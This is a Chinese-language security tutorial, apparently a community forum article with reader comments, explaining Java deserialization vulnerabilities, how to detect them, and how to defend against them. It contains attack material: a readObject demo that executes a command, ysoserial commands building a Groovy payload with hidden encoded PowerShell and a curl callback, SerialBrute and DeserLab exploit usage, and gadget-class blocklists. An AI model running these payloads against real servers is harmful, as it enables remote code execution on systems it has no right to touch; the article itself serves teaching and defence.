Java反序列化漏洞从入门到深入

phorse / 2018-02-08 13:34:00 / 浏览数 21353

前言

近两年，Java的受欢迎程度和市场占有率一直是稳中向好，2017年数据显示，Java程序员的就业率和平均年薪均处众多语言的前列，由于各大培训班的努力，17年Java程序
2018年开始了，大家都在专注地写着自己的bug~
开个玩笑……不过，从代码审计的角度来说，这句话说的一点都不过分。而在众多漏洞中，最数反序列化漏洞的表现最'辉煌'，从15年影响WebSphere、JBoss、Jenkins、V
Commons Collections 反序列化远程命令执行漏洞，到17年末WebLogic XML 反序列化引起的挖矿风波，反序列化漏洞一直在路上……

学习本系列文章需要的Java基础：

1. 了解Java基础语法及结构（菜鸟教程）
2. 了解Java面向对象编程思想（快速理解请上知乎读故事，深入钻研建议买本《疯狂Java讲义》另外有一个刘意老师的教学视频也可以了解一下，其中关于面向对象思想的
   密码：kk0x）
3. 基本的Eclipse使用（自行百度）

其实只要大学上过Java课，或者自学过一小段时间都OK。如果没有的话，可以括号里的资源资源在短时间内掌握。

本教程的目的：

1. 掌握反序列化漏洞原理。
2. 在实战中能发现和利用反序列化漏洞。
3. 掌握合理规避反序列化漏洞的编程技巧。

序列化与反序列化基础

什么是序列化和反序列化

Java描述的是一个'世界'，程序运行开始时，这个'世界'也开始运作，但'世界'中的对象不是一成不变的，它的属性会随着程序的运行而改变。
但很多情况下，我们需要保存某一刻某个对象的信息，来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中，然后可以在另一个程序中

一个类的对象要想序列化成功，必须满足两个条件：

该类必须实现 java.io.Serializable 接口。

该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的，则该属性必须注明是短暂的。

如果你想知道一个 Java 标准类是否是可序列化的，可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable接口。

下面书写一个简单的demo，为了节省文章篇幅，这里把序列化操作和反序列化操作弄得简单一些，并省去了传递过程，
对象所属类：

```
/**
* Description:
* <br/>■■: <a href="http://ph0rse.me">Ph0rse's Blog</a>
* <br/>Copyright (C), 2018-2020, Ph0rse
* <br/>This program is protected by copyright laws.
* <br/>Program Name:
* <br/>Date:
* @author Ph0rse prudenidealist@outlook.com
* @version 1.0
*/
public class Employee implements java.io.Serializable
{
  public String name;
  public String identify;
  public void mailCheck()
  {
     System.out.println("This is the "+this.identify+" of our company");
  }
}
```

将对象序列化为二进制文件：

```
//■■■■■■■■io■■
import java.io.*;
```

```
public class SerializeDemo
{
  public static void main(String [] args)
  {
     Employee e = new Employee();
     e.name = "■■■";
     e.identify = "General staff";
     try
     {
       // ■■■■■■■■■■
        FileOutputStream fileOut =
        new FileOutputStream("D:\\Task\\employee1.db");
        // ■■■■■■■■
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        //■■■■■■■■■
        out.writeObject(e);
        out.close();
        fileOut.close();
        System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
     }catch(IOException i)
     {
         i.printStackTrace();
     }
  }
}
```

一个Identity属性为Visitors的对象被储存进了employee1.db，而反序列化操作就是从二进制文件中提取对象：

```
import java.io.*;

public class SerializeDemo
{
  public static void main(String [] args)
  {
     Employee e = null;
     try
     {
       // ■■■■■■■■■■
        FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db");
       // ■■■■■■■■
        ObjectInputStream in = new ObjectInputStream(fileIn);
       // ■■■■■
        e = (Employee) in.readObject();
        in.close();
        fileIn.close();
     }catch(IOException i)
     {
        i.printStackTrace();
        return;
     }catch(ClassNotFoundException c)
     {
        System.out.println("Employee class not found");
        c.printStackTrace();
        return;
     }
     System.out.println("Deserialized Employee...");
     System.out.println("Name: " + e.name);
     System.out.println("This is the "+e.identify+" of our company");


   }
}
```

就这样，一个完整的序列化周期就完成了，其实实际应用中的序列化无非就是传输的方式和传输机制稍微复杂一点，和这个demo没有太大区别。

PS:try和catch是异常处理机制，和序列化操作没有直接关系。如果想要深入学习Java编程，建议购买一本《Java疯狂讲义》，还有金旭亮老师的Java学习PPT（力荐）

简单的反序列化漏洞demo

在Java反序列化中，会调用被反序列化的readObject方法，当readObject方法书写不当时就会引发漏洞。

PS：有时也会使用readUnshared()方法来读取对象，readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象，而readObject读

```
//■■■■■■■■io■■
import java.io.*;
public class test{
   public static void main(String args[]) throws Exception{

       UnsafeClass Unsafe = new UnsafeClass();
       Unsafe.name = "hacked by ph0rse";

       FileOutputStream fos = new FileOutputStream("object");
       ObjectOutputStream os = new ObjectOutputStream(fos);
       //writeObject()■■■Unsafe■■■■object■■
       os.writeObject(Unsafe);
       os.close();
       //■■■■■■■■obj■■
       FileInputStream fis = new FileInputStream("object");
       ObjectInputStream ois = new ObjectInputStream(fis);
       //■■■■
       UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
       System.out.println(objectFromDisk.name);
       ois.close();
   }
}

class UnsafeClass implements Serializable{
   public String name;
   //■■readObject()■■
   private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
       //■■■■■readObject()■■
       in.defaultReadObject();
       //■■■■
       Runtime.getRuntime().exec("calc.exe");
   }
}
```

程序运行逻辑为：

1. UnsafeClass类被序列化进object文件
2. 从object文件中恢复对象
3. 调用被恢复对象的readObject方法
4. 命令执行

反序列化漏洞起源

开发失误

之前的demo就是一个对反序列化完全没有进行安全审查的示例，但实战中不会有程序员会写出这种弱智代码。因此开发时产生的反序列化漏洞常见的有以下几种情况：

1. 重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
2. 使用第三方的类进行黑名单控制。虽然Java的语言严谨性要比PHP强的多，但在大型应用中想要采用黑名单机制禁用掉所有危险的对象几乎是不可能的。因此，如果在审

基础库中隐藏的反序列化漏洞

优秀的Java开发人员一般会按照安全编程规范进行编程，很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring
MVC、Struts2等，都有相应的防范反序列化的机制。如果仅仅是开发失误，可能很少会产生反序列化漏洞，即使产生，其绕过方法、利用方式也较为复杂。但其实，有很大
2015年由黑客Gabriel Lawrence和Chris Frohoff发现的'Apache Commons
Collections'类库直接影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架。直到今天该漏洞的影响仍未消散。
存在危险的基础库：

```
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
```

```
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
```

某反序列化防护软件便是通过禁用以下类的反序列化来保护程序：

```
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
```

基础库中的调用流程一般都比较复杂，比如`org.apache.commons.collections.functors.InvokerTransformer`的POP链就涉及反射、泛型等，而网上也有很多复
Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
Java反序列化漏洞-玄铁重剑之CommonsCollection(下)
这里就不再赘述了，可以跟着ysoserial的EXP去源码中一步步跟进、调试。

POP Gadgets

这里介绍一个概念，POP Gadgets指的是在通过带入序列化数据，经过一系列调用的代码链，其中POP指的是Property-Oriented Programming，即面向属性编程，和逆向那边的ROP很相似，面向属性编程（Property-Oriented Programing）常用于上层语言构造特定调用链的方法，与二进制利用中的面向返回编程（Return-Oriented Programing）的原理相似，都是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这Gadgets是小工具的意思，POP Gadgets即为面向属性编程的利用工具、利用链。当我们确定了可以带入序列化数据的入口后，便是要寻找对应的POP链。以上提到的基础库和框架恰恰提供了可导致命令执POP 链的环境，所以引入了用户可控的序列化数据，并使用了不安全的基本库，就意味着存在反序列化漏洞。
随着对反序列化漏洞的深入，我们会慢慢意识到很难将不安全的基本库这一历史遗留问题完全清楚，所以清楚漏洞的根源还是在不可信的输入和未检测反序列化对象安全性。

基本库中的反序列化触发机制较为复杂和底层，可以结合ysoserial源码中的exp来进行跟进分析。

本文后期会进行详细讲解。

如何发现Java反序列化漏洞

白盒检测

当持有程序源码时，可以采用这种方法，逆向寻找漏洞。

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。

流程如下：

① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
可以搜索以下函数：

```
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
```

小数点前面是类名，后面是方法名

② 确定了反序列化输入点后，再考察应用的Class Path中是否包含Apache Commons Collections等危险库（ysoserial所支持的其他库亦可）。

③ 若不包含危险库，则查看一些涉及命令、代码执行的代码区域，防止程序员代码不严谨，导致bug。

④ 若包含危险库，则使用ysoserial进行攻击复现。

黑盒检测

在黑盒测试中并不清楚对方的代码架构，但仍然可以通过分析十六进制数据块，锁定某些存在漏洞的通用基础库（比如Apache Commons Collection）的调用地点，并进行数据替换，从而实现利用。
在实战过程中，我们可以通过抓包来检测请求中可能存在的序列化数据。
序列化数据通常以`AC ED`开始，之后的两个字节是版本号，版本号一般是`00 05`但在某些情况下可能是更高的数字。
为了理解反序列化数据样式，我们使用以下代码举例：

```
import java.io.*;

public class SerializeDemo
{
  public static void main(String [] args)
  {
     Employee e = new Employee();
     e.name = "■■■";
     e.identify = "General staff";
     try
     {
       // ■■■■■■■■■■
        FileOutputStream fileOut =
        new FileOutputStream("D:\\Task\\employee1.db");
        // ■■■■■■■■
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        //■■■■■■■■■
        out.writeObject(e);
        out.close();
        fileOut.close();
        System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
     }catch(IOException i)
     {
         i.printStackTrace();
     }
  }
}
```

在本地环境下运行一下，即可看到生成的employee1.db文件。
生成的employee1.db反序列化数据为（可用Winhex、Sublime等工具打开）：

需要注意的是，AC ED 00
05是常见的序列化数据开始，但有些应用程序在整个运行周期中保持与服务器的网络连接，如果攻击载荷是在延迟中发送的，那检测这四个字节就是无效的。所以有些防火

所以我们也要对序列化转储过程中出现的Java类名称进行检测，Java类名称可能会以"L"开头的替代格式出现 ，以';'结尾
，并使用正斜杠来分隔命名空间和类名（例如 "Ljava / rmi / dgc / VMID;"）。除了Java类名，由于序列化格式规范的约定，还有一些其他常见的字符串，例如
：表示对象（TC_OBJECT），后跟其类描述（TC_CLASSDESC）的'sr'或 可能表示没有超类（TC_NULL）的类的类注释（TC_ENDBLOCKDATA）的'xp'。

识别出序列化数据后，就要定位插入点，不同的数据类型有以下的十六进制对照表：

```
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM
```

AC ED 00 05之后可能跟上述的数据类型说明符，也可能跟77(TC_BLOCKDATA■■)或7A(TC_BLOCKDATALONG■■)其后跟的是块数据。

序列化数据信息是将对象信息按照一定规则组成的，那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。并且有大牛写好了现成的工具-SerializationDum

用法：

```
java -jar SerializationDumper-v1.0.jar
aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e
```

后面跟的十六进制字符串即为序列化后的数据

工具自动解析出包含的数据类型之后，就可以替换掉TC_BLOCKDATE进行替换了。AC ED 00 05经过Base64编码之后为rO0AB

在实战过程中，我们可以通过tcpdump抓取TCP/HTTP请求，通过SerialBrute.py去自动化检测，并插入ysoserial生成的exp

```
SerialBrute.py -r <file> -c <command> [opts]
SerialBrute.py -p <file> -t <host:port> -c <command> [opts]
```

使用ysoserial.jar访问请求记录判断反序列化漏洞是否利用成功：

```
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
```

当怀疑某个web应用存在Java反序列化漏洞，可以通过以上方法扫描并爆破攻击其RMI或JMX端口（默认1099）。

环境测试

在这里，我们使用大牛写好的DeserLab来模拟实战环境。

DeserLab演示

DeserLab是一个使用了Groovy库的简单网络协议应用，实现client向server端发送序列化数据的功能。而Groovy库和上文中的Apache Commons Collection库一样，含有可利用的POP链。
我们可以使用上文提到的ysoserial和在线载荷生成器进行模拟利用。
复现环境：

1. win10
2. python2.7
3. java1.8

首先生成有效载荷,由于是在windows环境下，所以使用powershell作为攻击载体。

用ysoserial生成针对Groovy库的payload

```
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc
bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=" > payload2.bin
```

在DeserLab的Github项目页面下载DeserLab.jar
命令行下使用`java -jar DeserLab.jar -server 127.0.0.1 6666`开启本地服务端。

使用deserlab_exploit.py脚本【上传到自己的github gist页面上】生成payload：

```
python deserlab_exploit.py 127.0.0.1 6666 payload2.bin
```

PS:注意使用py2.7

成功写入：

即可执行任意命令

反序列化修复

每一名Java程序员都应当掌握防范反序列化漏洞的编程技巧、以及如何降低危险库对应用造成的危害。

对于危险基础类的调用

下载这个jar后放置于classpath，将应用代码中的java.io.ObjectInputStream替换为SerialKiller，之后配置让其能够允许或禁用一些存在问题的类，SerialKiller有Hot-Reloa

通过Hook resolveClass来校验反序列化的类

在使用readObject()反序列化时首先会调用resolveClass方法读取反序列化的类名，所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的

```
public class AntObjectInputStream extends ObjectInputStream{
   public AntObjectInputStream(InputStream inputStream)
           throws IOException {
       super(inputStream);
   }

   /**
    * ■■■■■■■SerialObject class
    */
   @Override
   protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
           ClassNotFoundException {
       if (!desc.getName().equals(SerialObject.class.getName())) {
           throw new InvalidClassException(
                   "Unauthorized deserialization attempt",
                   desc.getName());
       }
       return super.resolveClass(desc);
   }
}
```

通过此方法，可灵活的设置允许反序列化类的白名单，也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现，黑名单需要一直更新维护，且未

```
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils
```

根据以上方法，有大牛实现了线程的SerialKiller包可供使用。

使用ValidatingObjectInputStream来校验反序列化的类

使用Apache Commons IO
Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制，具体可参考ValidatingObjectInputStream介绍；示例代码如下:

```
private static Object deserialize(byte[] buffer) throws IOException,
ClassNotFoundException , ConfigurationException {
   Object obj;
   ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
   // Use ValidatingObjectInputStream instead of InputStream
   ValidatingObjectInputStream ois = new   ValidatingObjectInputStream(bais);

   //■■■■■■■SerialObject class
   ois.accept(SerialObject.class);
   obj = ois.readObject();
   return obj;
}
```

使用contrast-rO0防御反序列化攻击

contrast-rO0是一个轻量级的agent程序，通过通过重写ObjectInputStream来防御反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单

```
SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);

in.readObject();
```

使用ObjectInputFilter来校验反序列化的类

Java
9包含了支持序列化数据过滤的新特性，开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器，，并使用ObjectInputStream对象的se

```
import java.util.List;
import java.util.Optional;
import java.util.function.Function;
import java.io.ObjectInputFilter;
class BikeFilter implements ObjectInputFilter {
   private long maxStreamBytes = 78; // Maximum allowed bytes in the stream.
   private long maxDepth = 1; // Maximum depth of the graph allowed.
   private long maxReferences = 1; // Maximum number of references in a graph.
   @Override
   public Status checkInput(FilterInfo filterInfo) {
       if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() >
           return Status.REJECTED;
       }
       Class<?> clazz = filterInfo.serialClass();
       if (clazz != null) {
           if (SerialObject.class == filterInfo.serialClass()) {
               return Status.ALLOWED;
           }
           else {
               return Status.REJECTED;
           }
       }
       return Status.UNDECIDED;
   } // end checkInput
} // end class BikeFilter
```

上述示例代码，仅允许反序列化SerialObject类对象。

禁止JVM执行外部命令Runtime.exec

通过扩展SecurityManager

```
SecurityManager originalSecurityManager = System.getSecurityManager();
       if (originalSecurityManager == null) {
           // ■■■■■SecurityManager
           SecurityManager sm = new SecurityManager() {
               private void check(Permission perm) {
                   // ■■exec
                   if (perm instanceof java.io.FilePermission) {
                       String actions = perm.getActions();
                       if (actions != null && actions.contains("execute")) {
                           throw new SecurityException("execute denied!");
                       }
                   }
                   // ■■■■■■SecurityManager■■■■■
                   if (perm instanceof java.lang.RuntimePermission) {
                       String name = perm.getName();
                       if (name != null && name.contains("setSecurityManager")) {
                           throw new SecurityException("System.setSecurityManager denied!");
                       }
                   }
               }

               @Override
               public void checkPermission(Permission perm) {
                   check(perm);
               }

               @Override
               public void checkPermission(Permission perm, Object context) {
                   check(perm);
               }
           };

           System.setSecurityManager(sm);
       }
```

不建议使用的黑名单

在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击，这个做法在源代码修复的时候并不是推荐的方法，因为你不能保证能覆盖所有可能的类，而且有新的利用pay

总结

感觉在实战中遇到的Java站点越来越多，Java反序列化漏洞的利用也愈发显得重要。除了常见的Web服务反序列化，安卓、桌面应用、中间件、工控组件等等的反序列化。I
代码审计及渗透测试过程中可以翻阅我翻译的一份Java反序列化漏洞备忘单，里面集合了目前关于Java反序列化研究的大会PPT、PDF文档、测试代码，以及权威组织发布的
这着实是一个庞大的知识体系，笔者目前功力较浅，希望日后还能和各位师傅一起讨论、学习。

上一篇：IOT设备中NTP服务的RCE漏洞分析 下一篇：Java反序列化备忘录
1. 5 条回复


cryin 2018-02-08 14:31:00

赞，去年从应用安全角度也写过一篇：应用安全:JAVA反序列化漏洞之殇 的文章，有机会可以交流～

0 回复Ta


phorse 2018-02-08 14:54:12

@cryin
好嘞师傅，欢迎指教

0 回复Ta


phorse 2018-02-08 15:07:47

防御部分的代码不是我自己写的，还忘了写参考链接，多谢群里师傅指正：
参考链接：

反序列化原理---http://www.hollischuang.com/archives/1140
深入理解JAVA反序列化漏洞---https://paper.seebug.org/312/
Attacking Java Deserialization--- https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
java反序列化工具ysoserial分析---http://drops.xmd5.com/static/drops/papers-14317.html
JAVA反序列化漏洞之殇（防御部分代码作者）---https://github.com/Cryin/Paper/blob/master/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8:JAVA%E5%
breenmachine师傅的分析---https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-
Lib之过？Java反序列化漏洞通用利用分析---https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0 回复Ta


蓝骨 2018-02-22 23:19:41

从清单里又get到一些新姿势，多谢分享

0 回复Ta


niexinming 2018-10-20 15:50:55

好文章，马克一下

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板